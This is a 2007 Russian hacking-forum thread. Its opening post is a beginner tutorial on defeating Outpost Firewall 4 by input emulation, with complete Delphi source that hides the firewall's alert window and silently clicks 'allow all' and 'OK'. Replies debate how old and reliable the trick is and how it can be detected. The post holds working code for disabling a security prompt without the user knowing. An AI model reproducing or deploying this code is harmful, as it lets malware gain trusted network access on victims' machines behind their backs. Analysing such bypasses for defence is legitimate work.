ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Эмуляция ввова как метод обхода OutPost FireWall 4
  #1  
Старый 31.01.2007, 02:48
Аватар для Sov1et
Sov1et
Участник форума
Регистрация: 23.02.2006
Сообщений: 104
Провел на форуме:
176358

Репутация: 139
Отправить сообщение для Sov1et с помощью ICQ
По умолчанию Эмуляция ввова как метод обхода OutPost FireWall 4

::Тема: Эмуляция ввова как метод обхода OutPost FireWall 4.
::Зачем: Показать уязвимость персонального фаервола.
::Кому: Новичкам (подробно описаны все действия).

Интро


Всё началось с того что меня поимели...Да это не делает чести... На системе стоят нод32 + ОутПост…. Ну вот я захотел понять как … Странных файлов антивирем обнаружено не было … Но я нашёл разращенное приложение с списке исключений в Anti-Leak’е… Хотя ничего подобного мной туда не было закинуто…Я понял, что скорее всего это сделано с помощью старого как дуб, но до сих пор рабочего метода эмуляции ввода…

Теория

В Виндовс существует возможность посылать сообщений от менее привилегированных приложений в более привилегированные . Причём последним очень трудно понять откуда пришло сообщение от пользователя или из программы…

Для простоты объяснения метода я не буду рассказывать про внедрение кода для вызывания Anti-Leak защиты в оутпосте. А опишу незаметное добавление приложения в список Доверенных приложений, которым разрешено делать всё, это намного палевнее чем использовать инжект кода или подгрузку длл’ки, так как так это легче спалить.
Кто хочет разобраться в инжекте советуб читать статьи на wasme.

Для наших экспериментов выставим политику ОутПоста в Режим Обучения. Мы будем перехватывать окно, которое выводится если приложение стучится в сеть. И в нём выбирать “Разрешить всё” и нажимать кнопку “Ok”. В исходнике проги много того что не пригодится в реальном использовании данного метода, но они помогают лучше разобраться и познакомиться с некоторыми функциями Win API.

Для начала рассмотрим функции Win API которые нам понадобятся :

::function FindWindow(lpClassName, lpWindowName: PChar): HWND;
lpClassName – тип окна … ставим в nil
lpWindowName – название окна которое ищем…
Я эксперементировал с MIRC.EXE – поетому в исходнике стоит именно это –поменяйте на то что будет использованатся у вас в качестве экспериментального приложения

::function GetClassName(hWnd: HWND; lpClassName: PChar; nMaxCount: Integer): Integer;
служит для получения класса обьекта;
hWnd – хэндл окна.
lpClassName – получаем класс

::function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer;
служит для получегия текста обьекта
hWnd – хэндл окна.
lpString – текст хендла

Опишу работу приложения.
Запускается поток с процедурой поиска окна алерта, при нахождении оного – запускается цикл с перебором дочерних окон и выводом их типов и текста в консоль.
Здесь сделаю маленькое отступление : в виндоусе каждая кнопка , надпись etc является окном – поэтому для получения списка используем функцию GetWindow.
Для перебора заносим в массив первый хендл объекта с помощью GetWindow и параметрами : хендлом окна алерта и GW_CHILD. А потом в цикле используя ту же функцию GetWindow передавая параметры предыдущего хендла и GW_HWNDNEXT получаем все элементы окна. Потом увидев в консоле какой по счёту идут нужные нам кнопки (напомню нам нужны : “Разрешить этому прилжению выполнять любые действия” и “Ok”) . Расположение элементов можно видеть на скрине. Теперь мы можем нажать на них. Напомню что нажатие состоит из трёх этапов : установку фокуса-> нажатие->убивание фокуса. Все эти действия выполняем функцией SendMessage и PostMessage.




Собственно код

Код:
program prog;

{$APPTYPE CONSOLE}

uses
  windows,advApiHook,Messages;
var
    hWnd,PID,pHandle :Dword;
    hThead_OP,hThead_KASP,THeadlD: Dword;
    tmp: pchar;

function Rus(mes: string):string;    // Функция Rus преобразует ANSI-строку в ASCII-строку
// В ANSI русские буквы кодируются числами от 192 до 255,
// в ASCII - от 128 до 175 (А..Яа..п) и от 224 до 239 (р..я).
// Необходима для корректного вывода русских букв в консоль..
var
s: integer; // номер обрабатываемого символа
begin
for s:=1 to length(mes) do
If (Ord(mes[s])>=192) and (Ord(mes[s])<=239) then mes[s]:=Chr(Ord(mes[s])-64) else
If (Ord(mes[s])>=240) and (Ord(mes[s])<=255) then mes[s]:=Chr(Ord(mes[s])-16);
rus:=mes;
end;


procedure findOP ();  // Находим Оут Пост
var
    OPwindow : Dword;
    I : dword;
    Buttons : array[1..45] of dword;
    wintext : Pchar;
    buf:  pchar;

begin
  //---- Ищем окно алерта ----------------///
     while OPwindow =0 do
       OPwindow:=findwindow(nil,Pchar('Создать правило для MIRC.EXE'));

 // скрываем окно алерта  от глаз делая его прозрачным:

     SetWindowLong(OPwindow,GWL_EXSTYLE,WS_EX_layered);
     SetLayeredWindowAttributes(OPwindow,0,0,$00000002);

  //----------Перебираем все кнопки :  -------------------------///
   
     Buttons[1]:=GetWindow(OPwindow,GW_CHILD);
      GetMEm(wintext,128);
      GetClassName(Buttons[1],wintext,127);
      GetWindowText(Buttons[1],(buf),128);
      writeln(wintext+' '+Rus(buf));
     
   for i:=2 to 44 do
          begin
          GetMEm(wintext,128);
          Buttons[i]:=GEtWindow(Buttons[i-1],GW_HWNDNEXT);
          GetClassName(Buttons[i],wintext,127);
          GetWindowText(Buttons[i],(buf),128);



          writeln(wintext+' '+Rus(buf));

          end;

  
 //------ Выбираем  пункт разрешить всё------------------//

      SendMessage(Buttons[1],WM_SETFOCUS,1,0);
      SendMessage(Buttons[1],BM_SETSTATE,1,0);
      PostMessage(Buttons[1],WM_KILLFOCUS,0,0);

 //------ Нажимаем на кнопку ОК------------------//

      SendMessage(Buttons[8],WM_SETFOCUS,1,0);
      SendMessage(Buttons[8],BM_SETSTATE,1,0);
      PostMessage(Buttons[8],WM_KILLFOCUS,0,0);

end;
             


begin
 
    hThead_OP:=createThread(nil,0,@findOP,nil,0,THeadlD); // стартуем  поток с поиском окна 


  readln;
end.
Вывод

Да эта техника обхода имеет большой недостаток – для каждого фаера нужен свой подход. Но их не так много и поетому в принципе можно реализовать для всех самых распространенных.
На этом позвольте расклинится. Всем пока и спс за внимание.

Последний раз редактировалось Sov1et; 31.01.2007 в 02:52..
 
Ответить с цитированием

  #2  
Старый 31.01.2007, 09:58
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

1) Боян страшный
2) можно защититься на 100% от этого с помощью отказа от стандартных GUI функций и плавающих элементов окна. + если делать AnimateWindow, это палится.
3) с антивирями это катит не всеми. например, Касперский сильно ругается. Скорее всего, он замеряет время между показом окна и вводом и если оно маленькое, то начинает орать
4)
Цитата:
Для перебора заносим в массив первый хендл объекта с помощью GetWindow и параметрами : хендлом окна алерта и GW_CHILD. А потом в цикле используя ту же функцию GetWindow передавая параметры предыдущего хендла и GW_HWNDNEXT получаем все элементы окна. Потом увидев в консоле какой по счёту идут нужные нам кнопки (напомню нам нужны : “Разрешить этому прилжению выполнять любые действия” и “Ok”) .
кстати, есть удобные функции EnumWindows и EnumChildWindows

Последний раз редактировалось _Great_; 31.01.2007 в 10:02..
 
Ответить с цитированием

  #3  
Старый 31.01.2007, 10:05
Аватар для Constantine
Constantine
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
Провел на форуме:
7192869

Репутация: 3033


По умолчанию

А прога на Паскале чтоль? =\
__________________

Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!

з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
 
Ответить с цитированием

  #4  
Старый 31.01.2007, 10:22
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Жжошь. Это дельфи у него.
 
Ответить с цитированием

  #5  
Старый 31.01.2007, 11:37
Аватар для Duncon
Duncon
Новичок
Регистрация: 27.01.2007
Сообщений: 18
Провел на форуме:
49699

Репутация: 6
По умолчанию

А Delphi не паскаль по твоему? (только более старший собрат)
 
Ответить с цитированием

  #6  
Старый 31.01.2007, 11:45
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Тогда можно сказать, что С++ это Си, вб - барсик и так далее.
 
Ответить с цитированием

  #7  
Старый 31.01.2007, 15:14
Аватар для Sov1et
Sov1et
Участник форума
Регистрация: 23.02.2006
Сообщений: 104
Провел на форуме:
176358

Репутация: 139
Отправить сообщение для Sov1et с помощью ICQ
По умолчанию

Статья для новичков...
Я и не говрорил что ето супер метод...
Почему боян? - Это же работает в связке нод+оутпост.
2 _Great_ естественно для тебя здесь не будет ичего нового .

ЗЫ. EnumWindows и EnumChildWindows да и впрямь удобнее...
ЗЫЫ Язык обжьект паскаль среда делфи.

Последний раз редактировалось Sov1et; 31.01.2007 в 15:37..
 
Ответить с цитированием

  #8  
Старый 31.01.2007, 15:49
Аватар для _Great_
_Great_
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме:
5339610

Репутация: 4360


Отправить сообщение для _Great_ с помощью ICQ
По умолчанию

Цитата:
Почему боян? - Это же работает в связке нод+оутпост.
2 _Great_ естественно для тебя здесь не будет ичего нового .
потому что про это известно уже хз сколько времени.
к тому же этот метод дико кривой и ненадежный и я уже писал, почему
 
Ответить с цитированием

  #9  
Старый 31.01.2007, 16:06
Аватар для Sov1et
Sov1et
Участник форума
Регистрация: 23.02.2006
Сообщений: 104
Провел на форуме:
176358

Репутация: 139
Отправить сообщение для Sov1et с помощью ICQ
По умолчанию

2 _Great_ - ну твоя статья про Splicing тоже не рассказывает ничего нового. Етот метод тоже известен давно.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Можно ли потушить Outpost Firewall 3.0с Cmd donetsk АнтиАдмин 33 01.02.2009 21:01
настройка Outpost Firewall Dmitriy507 Защита ОС: вирусы, антивирусы, файрволы. 4 01.07.2006 10:42
key на Outpost Firewall Pro jaim Защита ОС: вирусы, антивирусы, файрволы. 6 16.04.2006 21:50
Проблемы в Outpost Firewall panzer Защита ОС: вирусы, антивирусы, файрволы. 16 22.03.2006 18:56
Как правильно настроить firewall??? Twinkles-hak Чаты 8 12.08.2004 08:32



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ